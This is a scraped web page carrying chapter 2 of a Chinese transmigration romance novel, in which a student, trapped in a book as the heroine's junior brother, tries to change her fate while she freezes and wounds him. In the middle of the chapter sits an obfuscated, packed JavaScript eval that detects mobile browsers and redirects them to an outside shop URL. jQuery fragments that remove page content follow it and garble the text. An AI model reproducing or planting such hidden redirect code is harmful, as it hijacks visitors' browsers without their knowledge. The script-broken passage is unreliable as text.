默认冷灰
24号文字
方正启体

2. 第二章

作者:类人囧本书字数:K更新时间:
    纪羌文骂:“荒唐!”


    她手掌扬起,“啪”的一声脆响,拍在身旁的木桌上,整张桌子瞬间湮灭成木屑。


    扬起的灰尘拂过颜思归面上,带走他头顶的半边红盖头,盖头顺着浮尘的吹拂向下落,准确无误地盖在堆积成小山的木屑堆上,好似为它的最后的寿终正寝给上了最后一丝体面。


    颜思归并未因纪羌文的震怒退缩,反倒身子挺得更直,狭长的桃花眼紧紧盯着纪羌文,“怎的,师姐是不信我吗?”


    他昂起脖颈,笑容更甚,刚结痂的伤口因他的无畏拉扯,又沁出一丝鲜血来了,“既然师姐不信我,那就顺着刚才这个刀口继续向下,一刀把我了解了吧!能做师姐的刀下亡魂,我死而无怨!”


    纪羌文扯了扯嘴角,她可没时间与师弟在这里浪费时间玩过家家酒,他有如此觉悟,很好,真不怕她杀了他这个闹腾货。


    可碍于师尊的命令,她需留他一命。不急,日子很长,她很有耐心,总有一天必将他杀之,她耳朵边的苍蝇声才能彻底消失。


    她扭头,视线又重新与颜思归对视,或许是他伤口撕扯开的疼痛,令他的眼眸不自觉地浮上一层水雾,湿漉漉的,可怜又无助。


    看着此情此景,似有羽毛轻抚她坚硬的心脏,让其不自觉柔软起来。


    心中刚冒出的把他舌头削去的又一想法被她迅速否决。


    算了,今日算他运气好。


    她扬起手掌,对准颜思归释放秘技——【漫漫寒夜】。


    活人被速冻成了冰雕,颜思归的吵闹不再,这一刻,忙碌了一天的纪羌文终于感到了世界前所未有的安静。


    她勾勾手指,冰雕顺从她的心意破门飞出,立于婚房门外,化作护门之石,守护这漫长又寂静的洞房花烛夜。


    此刻,立于门外的护门石——或者换句话,称之为被冻成冰雕的颜思归,若说刚才的神情是装出的,此时此刻饥饿与严寒裹挟着他,可真真可谓是可怜弱小又无助了。


    颜思归:【统,能不能动用你的功能,把我身上这寒冰给破除了?】


    系统:【抱歉,宿主未达到相应级别,无法拥有此权限。】


    颜思归:【在这样下去,任务没完成,我这个卑微的打工人先要被冻死了。】


    系统:【世间打工人千千万,你死了再呼叫下一个,牛马总是不缺的!】


    颜思归:【……我……cnm的!】


    系统:【检测到宿主存在不恰当的侮辱性词汇,释放电疗,以作警告。】


    果然,系统靠不住!


    一通千伏电击自颜思归头顶贯彻全身,酥酥麻麻的,他还有知觉。他相信,这次是系统大发善心,若是系统再上点力度,待他内里被电焦熟透,再加上外边的冰镇,明日他便将成为这罗府上下一道靓丽的电焦人彘烩。


    哎——他颜思归真是命苦啊!


    作为一个存活在二十一世纪品学兼优的大学生,他不过是无聊时翻看了旁边病床女孩硬塞来的小说,顺便再吐槽了几句,就穿成了小说中同名同姓的炮灰师弟。


    书中,女主因为师尊在乱葬岗施舍的一块饼,就此踏上了为师尊神挡杀神的艰苦道路。她为师尊铲平了前行道路上的一切阻碍,最后落得身死的悲惨结局,结果在她死后的头七,她敬爱的师尊为了利益,竟迎娶了杀害女主凶手的女儿。


    最后的结局,女主的师尊走向了人生巅峰,回顾往昔时,不经意间想起了自己有这么一个令人惋惜的徒弟,便将一切伤害女主的人皆处以极刑。而女主游荡在人间的魂魄知晓了师尊为自己所做的这一切,心愿了结,含笑转世,还托梦师尊,原谅他所作的一切,许诺他二人来世继续做师徒。


    书中女主的所作所为,在颜思归看来,真是绝了。他骂了几句女主恋爱脑,并不过分。


    所以,系统寻他来的目的——改变女主恋爱脑人设,成为大女主。


    说是恋爱脑已经落伍时代了,当今社会的人更崇尚遇神杀谁,遇佛杀佛,做事不逼逼赖赖,有人物成长弧光的大女主。


    但狗屁系统让他穿书时,小说的故事情节已至尾声,今日是女主为了师尊,拼尽全力完成的最后一个任务,也是她身死的终局。


    若是穿在小说开端,他可以先女主师尊一步在乱葬岗救助女主,帮助她树立正确的恋爱观念,若是穿在小说中间,他可以陪伴女主一起出生入死,完成任务,日久生情,舍弃师尊这个大猪蹄子。


    可这是在小说的尾声,女主已经对师尊情根深种。他为了接近狠戾女主,将自己包装成对女主情深不已的人设,即使这般,女主看他却如同动物园戏耍的猴子,百般不顺眼,若不是看在师尊的命令,女主早就将他挫骨扬灰了。


    更何况今日面对的任务属于云听阁顶级,可谓是异常困难。


    女主身为术士,掌握技,尚有还手之力,都要面对死亡的终局,而他是个手无缚鸡之力的普通人,如何在这次世纪难解的任务中保全性命的同时,横插一脚,破坏剧情走向?


    就在颜思归苦苦思索解决办法之际,婚房门“吱呀”一声开启,打破了夜晚独有的宁静。


    纪羌文小心地探出脑袋,对着漆黑的夜色命令道:“颜思归,进来!”


    她并未将房门紧闭,而是留下了一道足够颜思归他瘦弱的身材穿过的缝隙。


    刚才她翻看了多次记载任务的羊皮卷,并用一炷香时间证明,单靠一人不足以引出送嫁人,需合二人之力,待到情浓之时,方能出场。


    等了许久,床边架起的红烛已然过半,纪羌文十指的倒刺都已拔尽,还未等到颜思归入内。


    他不会,生气吧?


    师弟自上周落水后,从心智未开的孩童一夜间恢复正常。


    师尊外出游历未归,整个宗门内能与他说上话的只有她了。


    可她整日早出晚归,连日不眠不休导致脾气暴躁,每每与师弟对上,皆是怒火中烧,可师弟依旧对她百依百顺,只不过时不时来上一两句挑衅之语令人尴尬得无地自容。


    她将这归结于他整日呆在宗门太过无聊,无人教导他,他便从师尊书房中仅有的几本恋爱话本中学习的。


    哎~这样一想,确实是她这个师姐的失职。


    师弟生气,也是人之常情。


    作为师姐的她,应该放宽心胸,好好安慰师弟,让他尽心尽责扮演好洞房之夜的新郎,不然单她一人在这婚房内坐,是无法吸引出送嫁人的。


    “颜思归——”想着想着,纪羌文道出口的声调都弱气了几分。


    “颜思归~”


    “师弟!”


    一连几声连叫,要是放从前,颜思归一定早屁颠屁颠来到了她的面前,一脸阳光地笑着问:“师姐,有什么事吗?”


    可是今日,却无任何动静。


    刚才一炷香前还信誓旦旦说要与她拜堂成亲的人呢?


    事出反常必有妖!<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253724|197978||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    纪羌文撩开宽大的衣裙,提起,避免快步行走的过程中被绊倒在地,刚才起身已经吃过一次亏了,聪明的她必然不会吃第二次。


    “颜思归,你要是对刚才的事情有什么不满的,可以放声大胆的说,你师姐心胸很是宽广,不要在……”


    婚房大门大开,房内明晃晃的烛光穿透房门,照亮了房门口,站立在屋檐下被冻结成一手擎天,一手指地,面色委屈的冰雕。


    纪羌文把还未说出口的话语统统吞入肚中。


    “师弟,我忘了你还冻着。”她脑海中不合时宜地浮现今天白日在罗府门口的那场闹剧,都是她多口多舌才浪费时间,她抱歉的话语早已抛至脑后,“请把刚才我所说的话忘了吧。”


    能动手为什么要动嘴说服颜思归呢?


    她抬手,冰雕顺着她手指的方向移动并落下。


    身为心胸宽广的师姐,她心善地将颜思归面上的冰冻解除。


    “师弟呀,师姐和你商量个事。”在她说话的瞬间,冻结的冰雕内部横亘出数根冰锥,毫不留情地刺向他的双腿,鲜血溢出,沾湿了他身着的喜袍。


    师尊说过要保全他的性命,但换种方式想想,保全性命的方法还有很多种,割舌头,砍断手指等等,他都能继续活下去。


    与从前她面对的对手及魇兽相比,今日她还是太过心胸宽广了!


    颜思归忍着剧痛,眼眸已涌出晶莹的泪珠,面上笑容依旧不减,“我心悦师姐,师姐说什么,我就做什么!师姐,你为何不信呢?”


    “我……”纪羌文张嘴,却不知如何接话。


    她确实不信,从前他是一个智力低下的少年,她与他空有师姐师弟的关系,数年之间无任何交集。一瞬之间他心智成熟,却整个人都扑在她身上。


    她静默了半刻,咬着唇,两只食指在来回交织,又散开,交织又散开……


    终于,她下定决心,将心中想了许久的话和盘托出:“你对我……到底有什么图谋呢?”


    一个人不可能无缘无故对另一个这么好的,除非那个人傻。


    “师姐,我对你,就如同你对师尊一般,没有理由的,我心向往之,便就这么做了……”他的大腿伤口已至他大量失血,他唇色发白,仍用尽最后一丝力气回答。


    “我对师尊……”心中一根紧绷的弦随着颜思归这句话语,随之崩裂。


    寒冰裂开,颜思归已没有力气继续站立,他顺势倒在站立在他身前的纪羌文身上。


    纪羌文没有动作,就这样拥住他,静静站着。


    她与师尊?这是第一次,她开始思索她与师尊之间的关系,她自始至终,是无条件信任师尊的,这不需要什么理由,因为她自乱葬岗看师尊的第一眼开始,便喜欢上师尊了!


    喜欢一个人,为他做任何事,是不需要理由的!


    她对师尊是十足的傻气,师弟对她呢?也是如此?


    封冻已久的内心瞬间沸腾了起来。


    “咚!咚!咚!”


    那是心脏不合时宜的剧烈跳动声响。


    这时,一阵凌冽的寒风自敞开的大门灌入,燃烧的红烛熄灭,婚房陷入一片黑寂。寒风四散开来,充斥在房间的每一处角落,同时穿透纪羌文单薄的婚服,将她刚灼热起来的心浇了个寒凉。


    阴沉浑厚的嗓音随着寒风飘忽不定,响亮在纪羌文耳畔两侧——“嘻嘻嘻——新郎新娘礼成,请二位新人进入洞房!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)